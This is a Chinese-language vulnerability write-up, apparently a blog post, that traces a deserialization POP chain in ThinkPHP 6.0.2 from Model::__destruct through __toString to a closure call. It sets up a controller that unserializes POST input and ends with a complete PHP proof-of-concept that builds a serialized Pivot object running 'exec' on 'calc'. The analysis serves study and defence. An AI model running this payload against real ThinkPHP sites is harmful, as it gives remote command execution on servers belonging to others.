环境搭建

  • thinkphp 6.0.2
  • PHP 7.4.7

修改index页面如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
public function poc()
{
echo base64_decode($_POST['payload']);
unserialize(base64_decode($_POST['payload']));
}
}

POP链

全局搜索__destruct,找到Model模块的,满足$this->lazySave == true条件,进入代码[1]

1
2
3
4
5
6
7
8
// vendor/topthink/think-orm/src/Model.php

public function __destruct()
{
if ($this->lazySave) {
$this->save(); // 1
}
}

跟进$this->save(),满足$this->isEmpty() == false && $this->trigger('BeforeWrite') == true && $this->exists == true条件,其中isEmpty判断的是data是否为空,trigger函数满足$this->withEvent == false即可,接着可以进入代码[2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// vendor/topthink/think-orm/src/Model.php

public function save(array $data = [], string $sequence = null): bool
{
...

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence); // 2

...
}
1
2
3
4
5
6
// vendor/topthink/think-orm/src/Model.php

public function isEmpty(): bool
{
return empty($this->data);
}
1
2
3
4
5
6
7
8
9
10
// vendor/topthink/think-orm/src/model/concern/ModelEvent.php

protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

...
}

跟进$this->updateData(),满足$this->trigger('BeforeWrite') == true条件,进入代码[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// vendor/topthink/think-orm/src/Model.php

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData(); // 3

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields(); // 4
...
}

跟进$this->getChangedData(),这里应该使$this->force == true,直接返回$data,否则会返回其他干扰值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// vendor/topthink/think-orm/src/model/concern/Attribute.php

public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

...

return $data;
}

回到上一步,满足empty($data) == false条件进入代码[4],跟进$this->checkAllowFields(),满足empty($this->field) == true && empty($this->schema) == true条件,进入代码[5]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// vendor/topthink/think-orm/src/Model.php

protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db(); // 5
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

...
}

跟进$this->db(),代码[6]处参数可控,可以触发__toString()函数

1
2
3
4
5
6
7
8
9
10
11
// vendor/topthink/think-orm/src/Model.php

public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix) // 6
->pk($this->pk);

...
}

后面POP链与ThinkPHP5.1相同

首先触发Conversion类中的__toString()方法

1
2
3
4
5
6
7
8
9
10
11
// vendor/topthink/think-orm/src/model/concern/Conversion.php

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options); // 8
}

public function __toString()
{
return $this->toJson(); // 7
}

跟进到$this->toArray(),最后我们的目标是调用getAttr()函数,但是代码[9]处的条件会被前面的代码修改,不可控,所以我们只能利用代码[10]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// vendor/topthink/think-orm/src/model/concern/Conversion.php

public function toArray(): array
{
...

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

...

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key); // 9
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key); // 10
}
}

...
}

跟进$this->getAttr($key),我们可以在代码[11]插入任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// vendor/topthink/think-orm/src/model/concern/Attribute.php

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name); // 11
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation); // 13
}

继续跟进$this->getData($name),代码[12]那里我们要返回存储在data的命令参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// vendor/topthink/think-orm/src/model/concern/Attribute.php

public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName]; // 12
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

返回上一步继续跟进$this->getValue($name, $value, $relation),在这里把代码[14]把存储在withAttr的命令参数赋值给closure,代码[15]即可进行RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// vendor/topthink/think-orm/src/model/concern/Attribute.php

protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName]; // 14
$value = $closure($value, $this->data); // 15
}
}

...
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace think;
abstract class Model {
private $lazySave = true;
private $exists = true;
protected $withEvent = false;
private $force = true;
protected $connection = "mysql";
private $withAttr = ["Tyaoo"=>"exec"]; // 系统命令
private $data = ["Tyaoo"=>"calc"]; // 命令参数
protected $name;
}

namespace think\model;
use think\Model;
class Pivot extends Model {
function __construct() {
$this->name = $this;
}
}

echo base64_encode(serialize(new Pivot()));

复现

image-20200727230214642

参考资料

http://pines404.online/2020/01/20/代码审计/ThinkPHP/ThinkPHP6.0.2反序列化链分析/